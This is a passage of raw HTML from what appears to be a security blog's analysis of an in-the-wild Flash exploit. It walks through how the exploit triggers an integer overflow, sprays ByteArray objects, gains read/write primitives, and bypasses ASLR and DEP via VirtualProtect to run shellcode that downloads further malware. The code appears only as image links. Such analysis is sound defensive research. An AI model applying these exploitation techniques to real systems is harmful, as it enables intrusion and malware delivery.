As indicated in the previous figure get_big_ba() function within the exploit is responsible to trigger the Integer overflow condition. In this function, first the several ByteArray objects is sprayed on the heap and then ByteArray.Length is corrupted. Domain memory data is initialized after that in the function make_big_ba() and then eventually confuse_ba() function is called where it is able to perform out-of-bounds read and write in the calls read_int_overflow() and write_int_overflow() respectively. However, the latter calls will achieve the arbitrary memory read /write using si32_overflow () and li32_overflow ().&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHBqlkq-24ErVODgVdbUPjoZWcvwZPb4oXubJBwCJoRccOadRF503Lw6rd_iAsGc6XcQiQC-yjenSkvtaTS02-MiYY7LW-GMys2rTLVmzzz5_CWQZN8lX9W6CCQa-DEW-xwR8eQMPyW18/s1600/14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;271&quot; data-original-width=&quot;526&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHBqlkq-24ErVODgVdbUPjoZWcvwZPb4oXubJBwCJoRccOadRF503Lw6rd_iAsGc6XcQiQC-yjenSkvtaTS02-MiYY7LW-GMys2rTLVmzzz5_CWQZN8lX9W6CCQa-DEW-xwR8eQMPyW18/s400/14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP_4W-pGGS6DbEzuJZsp6MLAk-XHYD9HVHlkunu7V0ohoEXZk-9DhNlRVj6TYcrZIURj-0b2NxaKbEdKkTd2irAGp40hIdcrWZivQBDxvZIp5pqdnOpUUHqtMpdWYJEDLLAZywoOo9BtU/s1600/15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;686&quot; data-original-width=&quot;1096&quot; height=&quot;250&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP_4W-pGGS6DbEzuJZsp6MLAk-XHYD9HVHlkunu7V0ohoEXZk-9DhNlRVj6TYcrZIURj-0b2NxaKbEdKkTd2irAGp40hIdcrWZivQBDxvZIp5pqdnOpUUHqtMpdWYJEDLLAZywoOo9BtU/s400/15.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbb1CVSFqC63DWJia8FlwJboc2xDj2XgL6lp2sSMKUU1ITAVY5MRxqFc3luo_OCsuUBtUdyst-rSAgGmnJZPpRorpz38rAm2vCkNNHF-CE89y6KSf8Z3CxlA2ordx6L5QSxIn3Qn2nMJo/s1600/16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;329&quot; data-original-width=&quot;617&quot; height=&quot;211&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbb1CVSFqC63DWJia8FlwJboc2xDj2XgL6lp2sSMKUU1ITAVY5MRxqFc3luo_OCsuUBtUdyst-rSAgGmnJZPpRorpz38rAm2vCkNNHF-CE89y6KSf8Z3CxlA2ordx6L5QSxIn3Qn2nMJo/s400/16.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEuoSx29IVj72PYBWkmLbqahgKzzMro7zLamvgSoaW40Us3ZwZMM1Wovx6ZEhcVrF5A_dGx9VOauuOLmjN86TayYmxkEL-N8bbYM9Ok0kQ5kyJwbkaIN8lhU4Gw9hVTcTDMlcyCjF1Y58/s1600/17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;354&quot; data-original-width=&quot;486&quot; height=&quot;291&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEuoSx29IVj72PYBWkmLbqahgKzzMro7zLamvgSoaW40Us3ZwZMM1Wovx6ZEhcVrF5A_dGx9VOauuOLmjN86TayYmxkEL-N8bbYM9Ok0kQ5kyJwbkaIN8lhU4Gw9hVTcTDMlcyCjF1Y58/s400/17.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;Bypassing windows Mitigations to execute shellcode&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Let&#39;s take a detailed look at how this flash exploit bypasses windows mitigations&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;i&gt;Bypassing ASLR:&lt;/i&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Exploit performs the ASLR bypass by creating the information leak. It leaks the address of the Initialized ByteArray object by calling the method get_obj_addr() and eventually gets the address of the objects’ virtual function table which is later corrupted by writing the address of VirtualProtect() API. As described in the earlier section, world:run_payload() method triggers the execution of the shellcode before which the mitigations are bypassed.&amp;nbsp; In the run_payload() function , init_ba() function is called which initializes the ByteArray and ByteArray.Length is corrupted to gain RW primitives.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEjUqCnL5SvpavVKjVPiW41f_Ip84dCFQ6zvfBfLIxmyRhCUHjeAhbTrIalURfm-tTeKgMSy58bW-xaZsy1PSSKisctRxI9mCrGtswq735baEjPZdtomn6ui6-WeqzGUmKS8phsCt3HUQ/s1600/18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;354&quot; data-original-width=&quot;1015&quot; height=&quot;137&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEjUqCnL5SvpavVKjVPiW41f_Ip84dCFQ6zvfBfLIxmyRhCUHjeAhbTrIalURfm-tTeKgMSy58bW-xaZsy1PSSKisctRxI9mCrGtswq735baEjPZdtomn6ui6-WeqzGUmKS8phsCt3HUQ/s400/18.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Below code snippet from the find_data() reveals the leaking of ByteArray object address.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgeT_mGLPXPBANGco4C8oa7n3BE5GAfHx8iz6AmgCPIBouevbNK8B_en2Idly7BgaB3UyxowL07RjCb3ftpfMMd8UvMY5qEKaHUlBEH2uDpywQctysGkLFwc8U_zWvU2Ae1KAq0xBaKmA/s1600/19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;642&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgeT_mGLPXPBANGco4C8oa7n3BE5GAfHx8iz6AmgCPIBouevbNK8B_en2Idly7BgaB3UyxowL07RjCb3ftpfMMd8UvMY5qEKaHUlBEH2uDpywQctysGkLFwc8U_zWvU2Ae1KAq0xBaKmA/s400/19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Subsequently in the run_shell() function, find_virtprot() is called which resolves the address of the VirtualProtect () API leading to the ASLR bypass. Below is the code performing the address resolution.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzYeXIERtzlKAjTk2wNITGSiOcTjtqRLXMmedksIBHP_Zerj_cYLLtWcM5N7uzY32XBdji47mo1DOIfZW0nqMUaixvg5eWY25xiqezj8FDAGA8eRqrshOe0FY2vXwGN_pHKRBIO7ZkuU0/s1600/19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;642&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzYeXIERtzlKAjTk2wNITGSiOcTjtqRLXMmedksIBHP_Zerj_cYLLtWcM5N7uzY32XBdji47mo1DOIfZW0nqMUaixvg5eWY25xiqezj8FDAGA8eRqrshOe0FY2vXwGN_pHKRBIO7ZkuU0/s400/19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
In the subsequent code, address of the VirtualProtect () API is written using the acquired RW primitives [ write_uint() ] following which the arguments to the API are pushed.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsVnem2s3PQ6IIXHXEjrSfI3OxVkQR1MWmhBWP5mFkdsV4vQYj1X_fZBTb3HNM1rPggcFqHL9-7mjDWTrV_Y6RYAA5kuwgwwg7Esh7fF47YygHrDYa4ii9tDTe7GQE44ITZgiaLDFZYg4/s1600/21.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;285&quot; data-original-width=&quot;590&quot; height=&quot;192&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsVnem2s3PQ6IIXHXEjrSfI3OxVkQR1MWmhBWP5mFkdsV4vQYj1X_fZBTb3HNM1rPggcFqHL9-7mjDWTrV_Y6RYAA5kuwgwwg7Esh7fF47YygHrDYa4ii9tDTe7GQE44ITZgiaLDFZYg4/s400/21.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
In the following code, apply() method is called on the function object which will execute VirtualProtect () API and marks the shellcode buffer&amp;nbsp; as RWX achieving DEP bypass.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirrQpOC0LKmiDJmbPRuv0BGuk7WPhTAD0DaBaS3H9eudebi_sDkJxQ24_uGx9j2LURqSjxrlXFxtvAzWuIn6f4czlggRharJL1kVFO05eJl7di_5Y7BoP3FvdYijI8MYeSWgLDv6rU_yM/s1600/22.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;137&quot; data-original-width=&quot;596&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirrQpOC0LKmiDJmbPRuv0BGuk7WPhTAD0DaBaS3H9eudebi_sDkJxQ24_uGx9j2LURqSjxrlXFxtvAzWuIn6f4czlggRharJL1kVFO05eJl7di_5Y7BoP3FvdYijI8MYeSWgLDv6rU_yM/s400/22.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip4lpgBUzp_ENbKfiYfZ3LW-z2GqPjHKCJaaZ4obzBZQDmDQ12WpjdxIKIh4fX54HS8lJ22dIjPe26Dz-F4MNWiUtBYg9nHKzpx8XTDaIDJNkfoulGNo5-IMN_HXqMmB29eWGbWDvCBGM/s1600/23.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;148&quot; data-original-width=&quot;735&quot; height=&quot;80&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip4lpgBUzp_ENbKfiYfZ3LW-z2GqPjHKCJaaZ4obzBZQDmDQ12WpjdxIKIh4fX54HS8lJ22dIjPe26Dz-F4MNWiUtBYg9nHKzpx8XTDaIDJNkfoulGNo5-IMN_HXqMmB29eWGbWDvCBGM/s400/23.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Finally call() method is invoked on the dummy object, which will execute the shellcode as shown in the code below.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJw3gNfr7KDD3dR5Yh4rmoDPLsjtPe-BZP5bXllmSCYPWPb3F_OfgXjEfbS-XcBGE2VCuBTIKGegBklAA8aqnhJsmN43dGRZGLGgkmhd91kF947YJF2eY_T3t2CWFNmXkdODZdUJ9xg-I/s1600/24.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;351&quot; data-original-width=&quot;607&quot; height=&quot;231&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJw3gNfr7KDD3dR5Yh4rmoDPLsjtPe-BZP5bXllmSCYPWPb3F_OfgXjEfbS-XcBGE2VCuBTIKGegBklAA8aqnhJsmN43dGRZGLGgkmhd91kF947YJF2eY_T3t2CWFNmXkdODZdUJ9xg-I/s400/24.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Details on the call() method of the function object as described by Adobe:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoiA_SOttmY-9tEutPtW4vpmyJYtng01pj4oHviGv7JRPR47qzHkZxKLEtZVRy3hXgYdFYEyvl6E1hw7kJ4uIzrSD6g3SCMRGHg2xkL0XEWD8c3MOITqPQTude_JmIT-vYLmt1oROvnI/s1600/25.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;137&quot; data-original-width=&quot;726&quot; height=&quot;75&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoiA_SOttmY-9tEutPtW4vpmyJYtng01pj4oHviGv7JRPR47qzHkZxKLEtZVRy3hXgYdFYEyvl6E1hw7kJ4uIzrSD6g3SCMRGHg2xkL0XEWD8c3MOITqPQTude_JmIT-vYLmt1oROvnI/s400/25.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;u&gt;&lt;b&gt;Intention and analysis of Shellcode&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
Once the shellcode is executed, it would connect and download additional malware from the attacker-controlled server. Debugging the Action Scripts with the AS debugger reveals that the shellcode embedded in the DefineBinaryData 1 tag of the flash file is decrypted with the key and then XORed with 0x84 during the execution.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
